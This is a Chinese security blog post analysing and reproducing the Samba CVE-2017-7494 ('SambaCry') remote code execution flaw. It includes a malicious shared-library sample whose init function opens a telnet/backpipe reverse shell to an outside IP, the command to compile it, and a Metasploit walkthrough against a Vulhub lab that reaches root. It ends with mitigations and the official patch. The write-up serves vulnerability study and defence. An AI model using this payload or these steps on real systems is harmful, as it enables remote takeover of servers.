Samba远程代码执行漏洞CVE-2017-7494分析与复现 – 作者:隐藏的豆浆jpgong

漏洞简介

2017年5月24日Samba官方发布了安全公告,新发布的Samba 4.6.4修复了一个严重的代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间的版本。它可以让恶意访问者远程控制受影响的linux机器。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。

漏洞基本信息
漏洞ID CVE-2017-7494
漏洞名称 Samba远程代码执行漏洞
漏洞类型 远程代码执行
触发条件 服务器共享目录有访问权限;
需要对服务器上写一个文件,并知道绝对路径;
漏洞危害 恶意访问者可以远程执行高权限命令
影响版本

– 3.5.0- 4.6.4

– 3.5.0- 4.5.10

– 3.5.0- 4.4.14

CVE-2017-7494漏洞和WannaCry永恒之蓝类似,由于攻击的对象主要是运行Linux/Unix系统的设备,这个漏洞也被称为“SambaCry”或者”Linux版WannaCry”。WannaCry能够攻击我们的Windows电脑,“SambaCry”则能够攻击存储数据的Linux服务器。

该漏洞影响比较广泛,可以在该链接查看详细列表:https://www.securityfocus.com/bid/98636

漏洞描述

Samba 是一套可使 UNIX 系列的操作系统与微软 Windows 操作系统的 SMB/CIFS 网络协议做连结的自由软件。这个漏洞使得 Samba 客户端可以主动上传共享库到 Samba 服务器同时加载并执行该动态库导出函数。

攻击者利用漏洞可以进行远程代码执行,具体执行条件如下:

  • 系统开启了文件/打印机共享端口445;
  • 共享文件夹拥有写入权限;
  • 恶意攻击者需猜解 Samba 服务端共享目录的物理路径;

满足以上条件时,由于 Samba 能够为选定的目录创建网络共享,当恶意的客户端连接上一个可写的共享目录时,通过上传恶意的共享库文件,触发漏洞使 Samba 服务端加载并执行它,从而实现了远程代码执行。根据服务器的配置情况,恶意代码还有可能以 root 权限执行。

CVE漏洞描述:https://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2017-7494

漏洞原理

Samba是在Linux或Unix系统上用来实现文件共享和打印服务的通信协议,也是很多家用的智能硬件设备例如NAS设备内置的协议,采用服务端口445。由于Samba内置函数is_known_pipename里面出现字符过滤问题,导致攻击者可以向共享目录传递恶意文件,导致被远程代码执行。

攻击者可通过上传恶意的链接库文件(.so),使服务端程序加载并执行它,从而实现远程代码执行。根据Samba官方说明了解,漏洞出现在source3/rpc_server/srv_pipe.c中的is_known_pipename函数里,由于函数没有正确处理管道名称,导致Samba加载恶意动态库文件,从而执行任意代码。

漏洞利用分析

此次Samba漏洞黑客利用的是在Linux和Unix上面开放的445端口,通过Metasploit(是一款开源的安全漏洞检测工具)等技术手段,入侵到远程Linux主机,获取Root最高权限,可以进行肆无忌惮的攻击和破坏,获取服务器或数据库内的敏感信息。

这里具体描述一下,如何通过Samba服务漏洞来进行病毒传播和远程攻击,过程如下:

  1. 首先使用Nmap命令扫描目标主机上开放的端口和服务;
  2. 发现主机上开放有139、445端口之后 ,说明该主机有可能存在Samba服务,然后尝试通过该端口建立一个Meterpreter 会话;
  3. 通过打开Metasploit,先判断Samba的版本,扫描Samba版本所用到的Exploits参数;
  4. 通过参数最终确定Samba版本的远程主机的IP地址,进一步通过Exploit命令,创建Shell会话成功入侵到Linux主机;
  5. 通过Exploit入侵到主机,将获得Root最大权限,进行一切操作和攻击,文件获取等。

最终就成功以Root的身份入侵到目标主机服务器上

漏洞代码原理分析

在metasploit中有一个对CVE-2017-7494漏洞的攻击代码is_known_pipename。

1614687915_603e2eab0310a6c48010d.png!small?1614687915008

该模块可在Samba版本3.5.0至4.4.14、4.5.10和4.6.4中触发任意共享库加载漏洞。该模块需要有效的凭据,可访问共享中的可写文件夹以及对可写文件夹的服务器端路径的了解。在某些情况下,可以使用匿名访问与常见文件系统位置的组合来自动利用此漏洞。

该攻击代码最核心payload本质上就是一个SMB数据包,即通过SMB协议打开一个named pipe文件。这个数据包到达Linux Samba服务器后,会触发命名管道解析流程:\ samba-3.5.0 \ source3 \ rpc_server \ src_pipe.c

根据Samba官方说明了解,漏洞出现在source3/rpc_server/srv_pipe.c中的is_known_pipename函数里,由于函数没有正确处理管道名称,导致Samba加载恶意动态库文件,从而执行任意代码。

该漏洞需要通过一个可写入的Samba用户权限就可以提权到root权限,即使Samba默认不是root用户执行。通过发布的最新版本补丁,进行对比分析,可以看到在is_known_pipename函数中对pipename是否包含‘/’进行了检查。

首先讲一下如何加载恶意动态库。漏洞的触发位置:source3/rpc_server/srv_pipe.c。

1614688010_603e2f0a351ef999a30c7.png!small?1614688010451

在这里可以看到pipename参数,这是一个管道名。需要利用这个管道名就是恶意共享库so文件参数,如/tmp/xxx.so , 这个参数再传递进 smb_probe_module 里,跟进下这个函数:\samba-4.6.3\lib\util\modules.c

1614688075_603e2f4b2affe373a8c8b.png!small?1614688075302

它又把参数传入do_smb_load_module函数中,还在当前文件中,跟进该函数。

1614688091_603e2f5b91df9220cba31.png!small?1614688091752

根据管道名的不同,程序会走两个流程,最终会进入load_module。如果管道名字存在‘/’, 会进入else里调用load_module()函数,把管道名传入进去

1614688110_603e2f6eb5faecd6a4211.png!small?1614688110846

可以看到把管道名传递进入到 dlopen 函数,该函数可以打开恶意构造的共享库文件,接着把句柄handle给了dlsym函数来加载SAMBA\_INIT\_MODULE,也就是说恶意共享库的功能要写入到Samba初始化函数里才能被加载,这样就触发了恶意构造的函数功能。

随后会执行samba_init_module函数

1614688157_603e2f9d56a0a5d5c18ed.png!small?1614688157455

通过上述分析可知,这里我们可以构造一个有“/”符号的管道名或路径名,如/home/exchange/evil.so,对于存在漏洞的版本,就会代入smb_probe_module中,从而可以加载攻击者上传并执行dll或者so文件。

漏洞攻击过程分析

具体攻击过程:

条件:攻击者拥有上传文件权限

  • 构造一个有‘/’符号的管道名或路径名,如 “/home/toor/cyg07.so”,攻击者上传含有恶意代码的so文件至samba服务器;
  • 猜测绝对路径,通过构造以/开头的路径名(eg. /home/samba/attacker.so)发送到服务端,使其返回该文件FID;
  • 后续直接请求这个FID就进入上面所说的恶意流程。请求该FID便可调用so文件中的samba_init_module,实现任意代码执行。

流程分析完成后我们自己构造一个so测试一下,so的代码如下:

#include<stdio.h>

int samba_init_module()

{

system(“mknod backpipe p && telnet 10.65.80.35 8080 0<backpipe | /bin/bash 1>backpipe”);

return 0;

}

使用如下命令进行编译

gcc test.c -shared -fPIC -o test.so

mknod backpipe p && telnet 10.65.80.35 8080 0<backpipe | /bin/bash 1>backpipe

在is_known_pipename下断点

1614688268_603e300c9ada1361c62b2.png!small?1614688268742

1614688274_603e3012210d785f950ef.png!small?1614688274256

跟进so中,可以看到

1614688292_603e302446e8b71900cea.png!small?1614688292358

反弹回来的shell可以看到,shell的组已经提升到了root

1614688306_603e3032d4d7efca0daec.png!small?1614688306977

可见,若要利用成功,必须在目标系统上部署恶意so文件,而且要知道这个so文件的绝对路径

漏洞复现

由于存在漏洞的环境、应用都被生产厂家给打补丁修复了,所以在漏洞分析过程中,搭建漏洞环境就显得格外困难。往往由于漏洞环境不正确,而不能正确分析出漏洞的触发点,进而导致分析失败。因此我们使用使用Vulhub的靶场来还原CVE-2017-7494漏洞的真实系统环境。

Vulnhub漏洞环境

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

在安装docker和docker-compose后即可开始使用vulhub:

下载vulhub漏洞目录:git clone https://github.com/vulhub/vulhub.git

进入相应漏洞文件夹执行docker-compose up -d即可

  • cd samba/CVE-2017-7494/
  • docker-compose up -d

1614688464_603e30d05e44c48bae7b3.png!small?1614688464649

但在这里安装该环境时,出现了一个错误。错误如下:

1614688483_603e30e39b5bb8955de20.png!small?1614688483680

错误的提示信息就是445端口被占用了,此时我们使用netstat命令查看445端口是被哪个进程占用了,将该进行删除,看是否能正常安装漏洞环境。

1614688513_603e3101ce9df00842638.png!small?1614688513952发现将该占用进程删除之后,就可以正常安装漏洞环境了。

1614688529_603e3111a73d085d53123.png!small?1614688529712

使用Metasploit攻击CVE-2017-7494漏洞主机

此时我们使用kali中的metasploit来攻击该CVE-2017-7494漏洞主机。

1、启动kali中的metasploit,并搜索CVE-2017-7494漏洞利用模块。

1614688570_603e313aec5b88b132871.png!small?1614688571189

2、加载该攻击模块,并使用info命令查看该模块的详细信息。他影响的主要是Linux中的Samba服务。

1614688582_603e3146654be2920b616.png!small?1614688582558

3、可以看到该攻击中的攻击载荷已经设置好了,我们不需要单独选择攻击载荷。只需要填写攻击模块的参数即可。

1614688593_603e3151e530c9d4eba0e.png!small?1614688594144

4、使用show options命令查看需要填写的基础参数。

1614688606_603e315e88cd2c70b0f2f.png!small?1614688606735

5、使用set命令设置参数值。这里只需要填写Rhosts字段即可。该字段值就是存在CVE-2017-7494漏洞的环境IP,即上面Ubuntu中的IP地址值。参数填写完毕之后就可以使用exploit命令来进行远程控制攻击。

1614688625_603e31713ec5aabd78ec1.png!small?16146886254411614688630_603e317673534f1e7e29e.png!small?1614688630585

6、攻击成功之后,就可以进行远程控制。使用whoami命令可以看到当前我们已经获得了root权限。也可以查看系统密码。

1614688651_603e318b90ca57bd513d9.png!small?1614688651791

通过上面的操作可以看到,由于Ubuntu环境存在SambaCry漏洞,因此可以完全被Kali的MSF远程控制,例如可以查看并删除文件,彻底沦为“肉鸡”。在真实环境下,黑客控制了同样具备此漏洞的服务器,除了可以直接删除服务器数据(例如存储在上面的核心用户数据),还可以上传“挖矿程序”,进一步控制其成为“挖矿肉鸡”。

防范措施

1.建议关闭Smb服务,用Sftp的方式实现局域网内的文件共享。

通过命令检测Smb服务是否开启,命令如下:

  • # /etc/init.d/smb status
  • # pgrep smbd
  • # ps -ef|grep smbd

在不需要Smb服务的同时,可以将该服务关闭

  • # /etc/init.d/smb stop
  • # service smbd stop
  • # chkconfig smbd off

2.提供专用的Smb服务器,并调整139、445默认端口配置。

3.启用Linux和Unix Iptables防火墙过滤功能。

4.及时更新官网opening windows to a wider world samba补丁的方式来进行防范。

5.官方修复

在git上看到官方的修复如下,在is_known_pipename函数中做了判断,只要有/的一律不再走下面的流程(Linux中的管道名均不含/),并返回错误。

https://github.com/samba-team/samba/commit/04a3ba4dbcc4be0ffc706ccc0b586d151d360015

1614688853_603e3255605a72881d01f.png!small?1614688853607

6.临时解决方案

在samba的配置文件smb.conf中添加nt pipe support = 0,即关闭pipe支持(依赖pipe的功能受影响)。

#==============Global Settings ============

[global]

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH

workgroup = WORKGROUP

# server string is the equivalent of the NT Description field

server string = Samba Server

# fix CVE-2017-7494

nt pipe support = 0

来源:freebuf.com 2021-03-02 20:54:01 by: 隐藏的豆浆jpgong

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论